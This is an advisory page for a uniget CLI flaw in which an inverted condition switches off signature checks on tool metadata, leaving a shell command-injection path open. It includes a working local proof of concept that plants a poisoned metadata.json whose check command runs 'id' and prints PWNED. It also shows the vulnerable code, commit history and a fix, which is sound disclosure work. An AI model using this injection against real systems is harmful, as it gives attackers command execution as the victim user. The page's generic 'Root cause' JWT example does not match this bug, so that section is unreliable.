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OSV ecosystem advisory

GHSA-fhgh-wq4q-r37x: uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set

HighCVSS 7.8 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 31/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Someone with local access to the system can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
  • Fixed version: gitlab.com/uniget-org/cli (Go) 0.28.9.

Low priority for now. Upgrade to gitlab.com/uniget-org/cli (Go) 0.28.9 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on. That matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs. ## Where it is `internal/config/update.go:80-100`: ```go func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) { if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 { _, err = security.VerifySigstoreBundle( filename, filename+".sigstore.json", ... ) if err != nil { return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err) } } loadedTools, err = tool.LoadFromFile(filename) ``` `cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata: ```go if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) || configuration.AutoUpdate || (len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 && !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) { ``` so a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset. `LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`: ```go func (tool *Tool) RunVersionCheck() (string, error) { logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check) cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` ## How it got this way The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true"`, which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0`. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped. ## Proof of concept Built from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment. ```bash H=/tmp/pochome mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil cat > $H/.cache/uniget/metadata.json <<'EOF' {"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil", "check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"], "description":"poisoned metadata","repository":"https://example.com", "license":{"name":"MIT","link":"https://example.com"}, "sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]} EOF printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil touch $H/.cache/uniget/evil/1.0.0 env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \ XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \ /tmp/unigetbin --user version evil ``` Observed output: ```text PWNED ``` and `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all. The control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the "ignore" variable is set: ```bash echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \ XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \ /tmp/unigetbin --user version evil ``` Observed output: ```text Error: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field "not" ``` So verification runs when the ignore variable is set, and does not run when it is unset. ## Impact Anything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user. ## Suggested fix Invert the condition so verification is the default and the environment variable opts out: ```go if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) == 0 { _, err = security.VerifySigstoreBundle(...) ... } ``` The same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be "the bundle is missing and we are not ignoring signatures". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify. ## Deduplication CVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading. ## How I found it and a note on tooling I was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.

Published
Aug 17, 2026
Updated
Aug 18, 2026
EPSS
—

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JSON

Action score

31

Monitor

Low priority for now.

CVSS
31 / 40 · 7.8 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

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VendorProduct
Gogitlab.com/uniget-org/cli

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogitlab.com/uniget-org/clifrom 0.27.4 · before 0.28.90.28.9

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GO-2026-6246uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set in gitlab.com/uniget-org/cli
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:gitlab.com/uniget-org/cli0.28.9Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Someone with local access to the system can trigger it.
  • No account or password is required.
  • A user must open a link or visit a page.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
high · the service can be disrupted
Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality impact
High
Integrity impact
High
Availability impact
High

CVSS vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

osv

Root cause

The verifier takes the algorithm to verify with from the token’s own header. Untrusted data ends up deciding its own verification rule.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const claims = jwt.verify(token, publicKey);

Fixed

ts
const claims = jwt.verify(token, publicKey, {  algorithms: ["RS256"],  issuer: "https://id.example.com",  audience: "portal",});

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (2 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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